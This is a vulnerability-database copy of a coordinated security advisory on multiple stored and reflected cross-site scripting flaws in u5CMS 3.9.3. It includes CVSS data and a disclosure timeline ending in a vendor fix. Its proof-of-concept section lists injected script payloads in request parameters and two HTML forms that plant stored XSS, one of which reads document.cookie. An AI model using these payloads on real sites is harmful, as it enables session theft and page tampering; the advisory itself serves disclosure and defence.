Lucene search

K
zeroscienceGjoko KrsticZSL-2015-5223
HistoryFeb 09, 2015 - 12:00 a.m.

u5CMS 3.9.3 Multiple Stored And Reflected XSS Vulnerabilities

2015-02-0900:00:00
Gjoko Krstic
zeroscience.mk
38

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

5.6 Medium

AI Score

Confidence

High

0.008 Low

EPSS

Percentile

81.4%

Title: u5CMS 3.9.3 Multiple Stored And Reflected XSS Vulnerabilities
Advisory ID: ZSL-2015-5223
Type: Local/Remote
Impact: Cross-Site Scripting
Risk: (3/5)
Release Date: 09.02.2015

Summary

u5CMS is a little, handy Content Management System for medium-sized websites, conference / congress / submission administration, review processes, personalized serial mails, PayPal payments and online surveys based on PHP and MySQL and Apache.

Description

u5CMS suffers from multiple stored and reflected cross-site scripting vulnerabilities. Input passed to several POST and GET parameters is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user’s browser session in context of an affected site.

Vendor

Stefan P. Minder - <http://www.yuba.ch>

Affected Version

3.9.3 and 3.9.2

Tested On

Apache 2.4.10 (Win32)
PHP 5.6.3
MySQL 5.6.21

Vendor Status

[29.12.2014] Vulnerabilities discovered.
[04.02.2015] Contact with the vendor.
[04.02.2015] Vendor replies asking more details.
[05.02.2015] Sent details to the vendor.
[06.02.2015] Vendor releases version 3.9.4 to address these issues.
[09.02.2015] Coordinated public security advisory released.

PoC

u5cms_xss.txt

Credits

Vulnerability discovered by Gjoko Krstic - <[email protected]>

References

[1] http://yuba.ch/index.php?c=u5cms&l=en
[2] <http://www.exploit-db.com/exploits/36029&gt;
[3] <http://xforce.iss.net/xforce/xfdb/100775&gt;
[4] <http://xforce.iss.net/xforce/xfdb/100776&gt;
[5] <http://packetstormsecurity.com/files/130292&gt;
[6] <http://osvdb.org/show/osvdb/118127&gt;
[7] <http://osvdb.org/show/osvdb/118126&gt;
[8] <http://osvdb.org/show/osvdb/118125&gt;
[9] <http://osvdb.org/show/osvdb/118124&gt;
[10] <http://osvdb.org/show/osvdb/118123&gt;
[11] <http://osvdb.org/show/osvdb/118122&gt;
[12] <http://osvdb.org/show/osvdb/118121&gt;
[13] <http://osvdb.org/show/osvdb/118120&gt;
[14] <http://osvdb.org/show/osvdb/118119&gt;
[15] <http://osvdb.org/show/osvdb/118118&gt;
[16] <http://osvdb.org/show/osvdb/118117&gt;
[17] <http://osvdb.org/show/osvdb/118116&gt;
[18] <http://osvdb.org/show/osvdb/118115&gt;
[19] <http://osvdb.org/show/osvdb/118107&gt;
[20] <http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-1575&gt;
[21] <http://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-1575&gt;

Changelog

[09.02.2015] - Initial release
[11.02.2015] - Added reference [2], [3], [4], [5], [6], [7], [8], [9], [10], [11], [12], [13], [14], [15], [16], [17], [18] and [19]
[12.02.2015] - Added reference [20] and [21]

Contact

Zero Science Lab

Web: <http://www.zeroscience.mk>
e-mail: [email protected]

<html><body><p>u5CMS 3.9.3 Multiple Stored And Reflected XSS Vulnerabilities


Vendor: Stefan P. Minder
Product web page: http://www.yuba.ch
Affected version: 3.9.3 and 3.9.2

Summary: u5CMS is a little, handy Content Management System for medium-sized
websites, conference / congress / submission administration, review processes,
personalized serial mails, PayPal payments and online surveys based on PHP and
MySQL and Apache.

Desc: u5CMS suffers from multiple stored and reflected cross-site scripting
vulnerabilities. Input passed to several POST and GET parameters is not properly
sanitised before being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in context of an
affected site.

Tested on: Apache 2.4.10 (Win32)
           PHP 5.6.3
           MySQL 5.6.21


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2015-5223
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5223.php


29.12.2014

---


Reflected XSS:
==============

GET /u5cms/index.php?c=start"&gt;<script>alert(1)</script>&amp;l=e&amp;p=1&amp;r= HTTP/1.1
GET /u5cms/index.php?i=1"&gt;<script>alert(2)</script>&amp;p=1&amp;c=start&amp;l=d HTTP/1.1
GET /u5cms/index.php?c=start&amp;l=e"&gt;<script>alert(3)</script>&amp;p=1&amp;r= HTTP/1.1
GET /u5cms/index.php?c=start&amp;l=e&amp;p=1"&gt;<script>alert(4)</script>&amp;r= HTTP/1.1
GET /u5cms/u5admin/cookie.php?a=i2_l%00%3balert(5)//&amp;b=d HTTP/1.1
GET /u5cms/u5admin/cookie.php?a=i2_l&amp;b=%3balert(6)// HTTP/1.1
GET /u5cms/u5admin/copy.php?name=album"&gt;<img/> HTTP/1.1
GET /u5cms/u5admin/delete.php?name=a"&gt;<img/> HTTP/1.1
GET /u5cms/u5admin/deletefile.php?typ=d&amp;name=shortreference&amp;f=../r/shortreference/shortreference_en.php.txt'%3balert(9)// HTTP/1.1
GET /u5cms/u5admin/deletefile.php?typ=d'%3balert(10)//&amp;name=shortreference&amp;f=../r/shortreference/shortreference_en.php.txt HTTP/1.1
GET /u5cms/u5admin/done.php?n=inserted%20test"&gt;<script>alert(11)</script> HTTP/1.1
GET /u5cms/u5admin/editor.php?c=c"&gt;<script>alert(12)</script> HTTP/1.1
POST /u5cms/u5admin/meta2.php?typ=a&amp;uri=metai.php'%3balert(13)// HTTP/1.1
GET /u5cms/u5admin/notdone.php?n=wrong%20name,%20not%20deleted%20<script>alert(14)</script> HTTP/1.1
GET /u5cms/u5admin/rename2.php?name=valbum&amp;newname=valbum'%3balert(15)//&amp;typ=a HTTP/1.1
GET /u5cms/u5admin/sendfile.php?name=shortreference&amp;l=_frd"&gt;<script>alert(16)</script>&amp;typ=d HTTP/1.1
GET /u5cms/u5admin/characters.php?more=335&amp;s=335"&gt;<script>alert(17)</script> HTTP/1.1


Stored XSS:
===========


  </p>
<form action="http://10.0.50.3/u5cms/u5admin/savepage.php" method="POST">
<input name="page" type="hidden" value='ZSL"&gt;&lt;script&gt;alert(document.cookie);&lt;/script&gt;'/>
<input name="view" type="hidden" value="d"/>
<input name="ishomepage" type="hidden" value="1"/>
<input name="hidden" type="hidden" value="0"/>
<input name="logins" type="hidden" value=""/>
<input name="title_d" type="hidden" value="Test"/>
<input name="desc_d" type="hidden" value=""/>
<input name="key_d" type="hidden" value=""/>
<input name="content_d" type="hidden" value="Tstz"/>
<input name="title_e" type="hidden" value="ZSL"/>
<input name="desc_e" type="hidden" value="llll"/>
<input name="key_e" type="hidden" value="qqq"/>
<input name="content_e" type="hidden" value="AllTheWay"/>
<input name="title_f" type="hidden" value="None"/>
<input name="desc_f" type="hidden" value=""/>
<input name="key_f" type="hidden" value=""/>
<input name="content_f" type="hidden" value="Aloha"/>
<input name="coco" type="hidden" value="1423010603"/>
<input type="submit" value="Submit form"/>
</form>
  



--



  
    <form action="http://10.0.50.3/u5cms/u5admin/new2.php?typ=e" method="POST">
<input name="name" type="hidden" value='"&gt;&lt;img%20src%3da%20onerror%3dalert("XSS")&gt;'/>
<input name="typ" type="hidden" value="e"/>
<input type="submit" value="Submit form"/>
</form>
</body></html>

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

5.6 Medium

AI Score

Confidence

High

0.008 Low

EPSS

Percentile

81.4%

Related for ZSL-2015-5223